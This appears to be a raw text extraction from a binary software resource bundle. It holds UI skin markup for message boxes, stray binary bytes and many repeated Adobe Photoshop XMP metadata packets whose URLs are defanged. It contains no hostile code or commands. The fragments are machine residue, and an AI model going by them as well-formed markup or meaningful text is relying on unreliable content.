<text font="0304" crtext="FFFFFF" pos="65,60">
<body class="msgboxbody" width="full" height="full">
<text font="000000" crtext="4C4C4C" pos="15,20">
<text font="000000" crtext="666666" pos="15,50">
<text id="104" font="000000" crtext="666666" pos="80,50,-5,67"></text>
<text font="000000" crtext="666666" pos="15,75">
<text id="105" font="000000" crtext="DC0000" pos="80,75,-5,92"></text>
<footer class="msgboxfoot" width="full" height="40">
<header class="msgboxheadgreen" width="full" height="30">
<text font="0000" crtext="4C4C4C" pos="15,10">2345
<text id="102" font="0304" crtext="50AD21" caption="1" pos="15,10">
<text id="105" font="000000" crtext="666666" pos="35,10,240,27"></text>
<text font="0800" crtext="FFFFFF" pos="64,42">2345
<text id="103" class="btn_tab" crtext="3C96F2" pos="37,20">
<text id="104" class="btn_tab" crtext="4D4D4D" pos="37,70">
<text font="0000" crtext="666666" pos="54,8">
<header class="msgboxhead" width="full" height="30">
<text font="0000" crtext="FFFFFF" pos="33,8">2345
<text font="0004" crtext="3C96F2" pos="25,25">
<text id="104" font="0000" crtext="4C4C4C" pos="50,50">
<text font="000000" crtext="666666" pos="50,70">
<text font="0000" crtext="4C4C4C" pos="25,95">
<text id="105" font="0000" crtext="4C4C4C" pos="50,115">
<text id="106" font="0000" crtext="4C4C4C" pos="50,140">
<text id="107" font="0000" crtext="4C4C4C" pos="50,50">
<text id="108" font="0000" crtext="4C4C4C" pos="50,115">
<text id="109" font="0000" crtext="4C4C4C" pos="50,140">
<text id="110" font="0000" crtext="4C4C4C" pos="50,50">
g,Uy%u5
.ehIo
`.Wmi
aiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="AA24DCA7FF00301CD15A899D8D79F13A" xmpMM:DocumentID="xmp.did:BBBC2E4580FA11E4B2E2E1073572CC8D" xmpMM:InstanceID="xmp.iid:BBBC2E4480FA11E4B2E2E1073572CC8D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9fd3d54b-831c-3e4d-ab70-fcab6d2516de" stRef:documentID="xmp.did:161E850B793B11E4ABB098C1C0E5E911"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>*
iiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:4165CD1FDBD811E38EBEBDF96C9C404A" xmpMM:InstanceID="xmp.iid:4165CD1EDBD811E38EBEBDF96C9C404A" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:457df968-a9ea-714a-bed2-758568f579e2" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>E
y!%Xv#
?ÿt
g%A]%dJ
.ew!\?Ax
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:9079AE6DDB4911E3B97DF3B717C76E3D" xmpMM:InstanceID="xmp.iid:9079AE6CDB4911E3B97DF3B717C76E3D" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:004284fe-dede-284a-a998-eabe3a704017" stRef:documentID="xmp.did:5856D7595631E311A851941F5494AFF4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
(bq.Ll
eiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:12CF23F0B0CA11E3B605D398D544259B" xmpMM:InstanceID="xmp.iid:12CF23EFB0CA11E3B605D398D544259B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:77619272B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:77619273B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>ex
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5856D7595631E311A851941F5494AFF4" xmpMM:DocumentID="xmp.did:CC8E1A58B0C911E38DB4DC3A9386E16B" xmpMM:InstanceID="xmp.iid:CC8E1A57B0C911E38DB4DC3A9386E16B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7777B2D2B0C911E39F1BE3EEE7803273" stRef:documentID="xmp.did:7777B2D3B0C911E39F1BE3EEE7803273"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
fiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:5EC6899E410B11E38286A2CA3B0C119E" xmpMM:InstanceID="xmp.iid:5EC6899D410B11E38286A2CA3B0C119E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BBBDBFD70A41E311BF53BBF3DE12B0AA" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4762038B450211E3BFE287E4121697C3" xmpMM:InstanceID="xmp.iid:4762038A450211E3BFE287E4121697C3" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8A9AB3700045E311A75483D58FB78965" stRef:documentID="xmp.did:8A9AB3700045E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:8A9AB3700045E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:48B13FD1278911E4B16194A5B28EA334" xmpMM:InstanceID="xmp.iid:48B13FD0278911E4B16194A5B28EA334" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:c08565b4-14f5-e344-903a-2d551d64e9e8" stRef:documentID="xmp.did:4743F3CD450211E3BFE287E4121697C3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
iTXtXML:com.adobe.xmp
<rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:stEvt="hXXp://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/"
xmlns:dc="hXXp://purl.org/dc/elements/1.1/"
xmlns:photoshop="hXXp://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="hXXp://ns.adobe.com/tiff/1.0/"
xmlns:exif="hXXp://ns.adobe.com/exif/1.0/">
<xmpMM:OriginalDocumentID>xmp.did:8A9AB3700045E311A75483D58FB78965</xmpMM:OriginalDocumentID>
<xmpMM:DocumentID>xmp.did:4762038B450211E3BFE287E4121697C3</xmpMM:DocumentID>
<xmpMM:InstanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</xmpMM:InstanceID>
<stRef:instanceID>xmp.iid:8A9AB3700045E311A75483D58FB78965</stRef:instanceID>
<stRef:documentID>xmp.did:8A9AB3700045E311A75483D58FB78965</stRef:documentID>
<stEvt:instanceID>xmp.iid:85103282-c6f8-ef40-8033-25a7ed69089f</stEvt:instanceID>
<stEvt:softwareAgent>Adobe Photoshop CC (Windows)</stEvt:softwareAgent>
<xmp:CreatorTool>Adobe Photoshop CC (Windows)</xmp:CreatorTool>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:C8A5D2A0DC1511E39F4FA78164573CF3" xmpMM:InstanceID="xmp.iid:C8A5D29FDC1511E39F4FA78164573CF3" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:43aaf411-797e-b04a-bcb6-93d6c5bbebcb" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:74D98EE5D4D211E39376EE28142FEDF2" xmpMM:InstanceID="xmp.iid:74D98EE4D4D211E39376EE28142FEDF2" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4ce7de29-6b1f-0b4c-bc2d-e41f823d3313" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>d1
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:750E5B44D4D211E39376EE28142FEDF2" xmpMM:InstanceID="xmp.iid:750E5B43D4D211E39376EE28142FEDF2" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4ce7de29-6b1f-0b4c-bc2d-e41f823d3313" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
qiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:49A30F97970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:49A30F96970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>s
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A802D5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A801D5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:8A21A7FED5C811E3BE8B88726C1FD775" xmpMM:InstanceID="xmp.iid:8A21A7FDD5C811E3BE8B88726C1FD775" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:f6062034-dc4c-a647-b276-a347202dcc07" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E773CDCB64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E773CDBB64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>L=
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F64AD93B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F64AD92B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:a09f5b44-74c9-3045-8de3-04a038ceb14c" xmpMM:DocumentID="xmp.did:4761E63126CB11E4963B8066722CFD82" xmpMM:InstanceID="xmp.iid:4761E63026CB11E4963B8066722CFD82" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a09f5b44-74c9-3045-8de3-04a038ceb14c" stRef:documentID="xmp.did:a09f5b44-74c9-3045-8de3-04a038ceb14c"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:D0DA6B31DF0011E39B53CC222EBEDDBB" xmpMM:InstanceID="xmp.iid:D0DA6B30DF0011E39B53CC222EBEDDBB" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e649231a-8e98-8247-8d7c-24c8891a2f29" stRef:documentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>I
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:A679A2EB3D40E311B4BB97CC3487326D" xmpMM:DocumentID="xmp.did:EA0B1E1A278511E4B460875BA0C8050A" xmpMM:InstanceID="xmp.iid:EA0B1E19278511E4B460875BA0C8050A" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:001536F8BA1111E3944690DE2E6A82D7" stRef:documentID="xmp.did:001536F9BA1111E3944690DE2E6A82D7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:488A4B7C970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:488A4B7B970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:47A9FCB9970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:47A9FCB8970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:488A4B78970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:488A4B77970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038" xmpMM:DocumentID="xmp.did:47A9FCBD970711E4A42BC303C6DC8A94" xmpMM:InstanceID="xmp.iid:47A9FCBC970711E4A42BC303C6DC8A94" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:21ad712e-f677-2c4a-8067-4ae1398bf9d1" stRef:documentID="xmp.did:3a264c24-25dd-6340-9063-f42a56d0a038"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
